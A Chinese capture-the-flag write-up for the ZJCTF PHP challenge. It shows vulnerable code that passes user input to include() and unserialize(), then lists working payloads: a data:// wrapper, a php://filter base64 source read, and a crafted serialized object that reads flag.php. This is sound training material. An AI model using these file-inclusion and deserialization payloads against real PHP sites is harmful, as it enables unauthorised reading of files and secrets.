题目源码：

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

1 解题流程

1.1 分析

1、get传text、file、password参数
2、file_get_contents($text,‘r’)的内容要等于welcome to the zjctf才能继续，我们又不知道哪个文件是这个内容，所以直接data伪协议传文件
3、file值不能包含flag
4、提示我们去包含useless.php（先看源码再包含）
5、password需要传递序列化数据（肯定有类给我们）

1.2 解题

1. ?text=data://text/plain,welcome to the zjctf
2. ?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

   PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo
   
   解码得到：
   <?php  
   	class Flag{  //flag.php  
   	    public $file;  
   	    public function __tostring(){  
   	        if(isset($this->file)){  
   	            echo file_get_contents($this->file); 
   	            echo "<br>";
   	        return ("U R SO CLOSE !///COME ON PLZ");
   	        }  
   	    }  
   	}  
   ?>  
   

3. flag在flag.php中，我们的目标是toString的file_get_contents
   构造pop链

   <?php  
   	class Flag{  //flag.php  
   		public $file;  
   		public function __tostring(){  
   			if(isset($this->file)){  
   				echo file_get_contents($this->file); 
   				echo "<br>";
   				return ("U R SO CLOSE !///COME ON PLZ");
   			}  
   		}  
   	}  
   	$f = new Flag();
   	$f->file = "flag.php";
   	echo serialize($f);
   ?>  
   得到：O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  
   

4. payload=?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
   注意：此时file需要真正包含useless.php